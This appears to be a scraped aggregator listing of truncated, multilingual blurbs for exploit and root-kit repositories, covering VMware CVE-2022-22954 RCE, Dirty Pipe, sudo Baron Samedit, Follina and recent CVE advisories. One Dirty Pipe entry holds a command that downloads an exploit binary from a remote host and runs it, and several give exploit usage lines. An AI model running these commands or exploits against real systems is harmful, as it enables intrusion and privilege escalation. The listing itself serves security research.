ghostlock-kit

GhostLock Kit — vivo iQOO Neo9S Pro V2339FA / MT6989 Kit de root en un clic GhostLock para el vivo iQOO Neo9S Pro V2339FA, MediaTek MT6989. Este repositorio contiene: parche de portabilidad del transporte MCAST , script de un clic, documentación de análisis completa; el kit completo ejecutable co...

OBO

Off-By-One Off-By-One 会议的幻灯片 观看所有演讲 年份 ↓| 幻灯片| YouTube 播放列表 ---|---|--- 2024| 第一天幻灯片| 第一天 - OffByOne 2024 在线演讲 2024| 第二天幻灯片| 第二天 - OffByOne 2024 在线演讲...

CVE-2022-22954-POC

CVE-2022-22954-POC VMware Workspace ONE Access（以前称为VMware Identity Manager）旨在通过多因素身份验证、条件访问和单点登录，让您的员工更快地访问SaaS、Web和本机移动应用程序。 近日VMware官网发布了VMware Workspace ONE Access存在多个漏洞： 其中漏洞编号CVE-2022-22954，CVSS评分为9.8，危害等级为严重。影响版本如下： VMware Workspace ONE Access Appliance （版本号：20.10.0.0 ，20.10.0.1 ，21.08.0.0...

Dirty-Pipe

一键利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2021-30862

CVE-2021-30862 2021年，CodeColorist 发布了关于 Mistuned 漏洞 的分析文章，这是一系列影响 iTunes Store 的漏洞，可实现一键远程代码执行。值得注意的是，他演示了仅通过一个逻辑错误即可弹出计算器，而无需任何内存损坏。在此期间，我一直在调查各种应用中的 URL 方案，因为两年前我曾报告过 一个关于 App Store 的 itms-services:// URL 方案的安全问题。我发现一个非常相似的 URL 方案是 iTunes U 的 itms-itunesu:// URL...

CVE-2022-22954

CVE-2022-22954 漏洞描述 Workspace ONE Access 提供统一应用门户,通过门户可安全访问企业的所有应用，可用于单点登录。CVE-2022-22954 中，攻击者可构造恶意请求造成模板注入，执行任意代码，控制服务器。 参考文章 https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 使用说明 批量扫描模式 root@kitploit: python3 CVE-2022-22954.py -m scan -f...

FinalRecon

Twitter - Telegram - thewhiteh4t 的博客 FinalRecon 是一个用 Python 编写的多合一自动化网络侦察 工具。它的目标是在短 时间内提供目标的概览 ，同时保持结果的准确性 。它无需依次执行多个工具 ，就能提供类似的结果，并且依赖小巧简单 。 可用平台 收录于 Python For OSINT Hakin9 April 2020 https://hakin9.org/product/python-for-osint-tooling/ NullByte...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 通过 SSTI 实现 RCE。 CVE-2022-22954 - PoC SSTI 用法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156

Baron-Samedit-Heap-Buffer-Overflow-CVE-2021-3156 易受该漏洞影响的版本 Baron Samedit 漏洞（CVE-2021-3156）影响 sudo 旧版 1.8.2 至 1.8.31p2，以及稳定版 1.9.0 至 1.9.5p1。该基于堆的缓冲区溢出缺陷于 2011 年 7 月通过提交 8255ed69 引入，并潜伏了近十年未被发现。 1.9.5p2 之前的 sudo 包含一个 off-by-one（差一）错误，可导致基于堆的缓冲区溢出，从而通过“sudoedit -s”和以单个反斜杠字符结尾的命令行参数，允许将权限提升为 root。 ...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration and Backup SELECT optionname,optionvalue FROM wpoptions WHERE optionname='ai1wmsecretkey'; +------------------+--------------+ | optionname | optionvalue | +------------------+--------------+ | ai1wmsecretkey | PwrqqK3UHQJo | +------------------+-------------...

MS-MSDT-Office-RCE-Follina

MS-MSDT-Office-RCE-Follina CVE-2022-30190 | MS-MSDT Follina Un clic 1. Crear un archivo Docx. 2. En el archivo Docx, Insertar Objeto Imagen de mapa de bits Aceptar. 3. En la aplicación Paint que se inició, guardar el archivo de Paint. 4. Guardar tu archivo Docx. 5. Abrir tu archivo como un archiv...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 通过 SSTI 实现远程代码执行。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file ...

duchamp-root

中文 | English +One-Click+Root;CVE-2026-43499+\IonStack+Exploit;710%E8%A7%A3%E9%94%81%E8%8A%82%E6%9C%80%E6%96%B0%E5%8A%9B%E4%BD%9C+%F0%9F%94%A5 -blue -green ⚡ Proud user of JetBrains Mono ⚡ This README uses JetBrains Mono exclusively. Comic Sans is forbidden. !IMPORTANT 🚨 免责声明 本漏洞利用仅供教育目的 使用。...

CVE-2026-90781

alsa-lib through 1.2.16.1 contains an off-by-one stack buffer overflow in the __snd_ctl_ascii_elem_id_parse() function (in ctlparse.c). When parsing a name= field with 64 or more characters, the function writes one byte past a 64-byte stack buffer, overwriting adjacent stack memory and potentiall...

CVE-2026-90781 alsa-lib through 1.2.16.1 Off-by-One Stack Buffer Overflow in __snd_ctl_ascii_elem_id_parse()

alsa-lib through 1.2.16.1 contains a stack buffer overflow in the sndctlasciielemidparse function that writes one byte past a 64-byte buffer when parsing a name= field with 64 or more characters. Attackers can supply a long control-element identifier string through saved state files or command-li...

Root-My-Device

Root My Device Un fork de BuSung-dev/Root-My-Galaxy, bajo la Licencia Apache 2.0; consulte LICENSE y Créditos. Root My Device es un instalador de un solo clic para compilaciones de firmware explícitamente compatibles. La aplicación en sí se mantiene separada de los offsets de dispositivo, las...

CVE-2022-3602

CVE−2022-3602 What is this? This document and repository is a write-up of CVE−2022-3602, a punycode buffer overflow issue in OpenSSL. It's an "anti-POC" the issue does not appear to exploitable intended for folks who maintain their own OpenSSL builds and for compiler maintainers. There is a...

mailinabox

Mail-in-a-Box Por @JoshData y contribuidores. Mail-in-a-Box ayuda a las personas a recuperar el control de su correo electrónico definiendo un servidor SMTP+todo lo demás fácil de implementar con un solo clic: un servidor de correo en una caja. Por favor, consultahttps://mailinabox.email para ver...

CVE-2021-3156

CVE-2021-3156 - Sudo 中的堆缓冲区溢出 ⚠️ 仅供教育和授权安全研究使用 原始漏洞利用作者 非常感谢原始 PoC 作者 Qualys 研究团队 描述 在 Sudo 1.9.5p2 之前，存在一个差一错误，可导致基于堆的缓冲区溢出，从而通过 "sudoedit -s" 和一个以单个反斜杠字符结尾的命令行参数，实现向 root 用户的权限提升。 演示 步骤指南 1. 安装 git，然后从 GitHub 仓库克隆脚本： root@kitploit: sudo apt install git -y git clone...

Pentest-Everything

⚔️ Pentest Everything Importante Marca esta página como favorita, ya que es probable que los otros enlaces de páginas cambien o se muevan con el tiempo. Esta página siempre permanecerá igual. Acerca de este libro Este libro es mi colección de notas y write-ups sobre diversos temas y plataformas de...